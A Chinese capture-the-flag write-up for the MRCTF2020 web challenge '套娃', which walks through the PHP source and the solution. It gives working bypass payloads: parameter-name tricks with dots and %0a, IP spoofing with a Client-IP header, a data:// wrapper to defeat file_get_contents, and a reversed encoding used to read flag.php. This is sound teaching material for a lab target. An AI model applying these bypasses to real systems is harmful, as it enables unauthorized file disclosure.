[MRCTF2020]套娃
文章目录
- [MRCTF2020]套娃
- 掌握知识
- 解题思路
- 代码分析1
- 代码分析2
- 关键paylaod
掌握知识
参数的_
符号的替换,正则和强等于联合绕过,jsfuck
编码,bp
请求方式的转变,本地ip
的请求头,代码审计,简单的字符串解密和加密函数之间的逆推构造,file_get_contents
函数的绕过
解题思路
- 打开题目链接,发现界面没什么内容,查看源码发现了一串代码,代码还算简单,获取参数不能有
_
,下面传参的内容不能等于23333
,但还要以23333
开头和结尾,经典矛盾
代码分析1
- 对于第一个判断,因为参数是
b_u_p_t
,肯定是有_
的,但是php解析中,可以把.和空格
都当做_
解析,所以构建参数为b.u.p.t
。第二个矛盾的判断,很明显肯定是23333
结尾加一点特殊字符满足前后两个条件。这里可以使用换行符%0a
,正则匹配不会把该符号当作内容进行匹配,所以并不会影响23333
开头结尾的匹配,而接受参数的变量会把整体内容都保存,所以就不会和23333
相等了,即可通过判断
- 通过判断后提示
flag
在一个文件中,访问之后提示需要被登录,查看了一下源码发现了一串被注释的jsfuck
编码,将其在线网站解密后得到需要进行post
传参Merak
- 抓包之后,右键切换请求方式,进行
post
传参,查看相应界面发现了一串代码,根据代码内容很明显这是套娃的最后一步了
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die();
} function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
代码分析2
- 对代码进行分析,
post
传参merak
就会显示源代码,但是代码也就终止了。第一个判断是要求ip
地址为127.0.0.1
,这个使用XFF
头就能通过,但是这里对XFF进行了过滤,使用其他的请求头功能也一样,client-ip:127.0.0.1
。第二个判断是需要绕过file_get_contents
函数,只需要使用data
协议或者php
的input
协议将后面的内容输出传递即可绕过
if(isset($_POST['Merak'])){ highlight_file(__FILE__); die();
}
if($ip!='127.0.0.1')
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
- 通过判断就能进行文件读取了,但是还要经过
change
函数,该函数先对字符串进行base64解密,再对每一位字符进行特殊运算。这种也很好解决,只需要写个代码将解密代码顺序进行颠倒,即可还原加密后的字符串,通过该解密函数后就能得到正常的文件名了
# 解密
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re;
}
# 加密
str1="flag.php"
str2=''
for i in range(len(str1)):str2+=chr(ord(str1[i])-i*2)
print(str2)
# fj]a&f\b
- 将逆推得到的文件名进行
base64
编码,即可完成加密文件名过程,接下来就是进行GET传参了,将2333
和file
赋予分析得到的paylaod
,传参之后即可拿下flag
关键paylaod
b.u.p.t=23333%0aMerak= # post传参client-ip:127.0.0.1str1="flag.php"
str2=''
for i in range(len(str1)):str2+=chr(ord(str1[i])-i*2)
print(str2)
# fj]a&f\b/secrettw.php?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=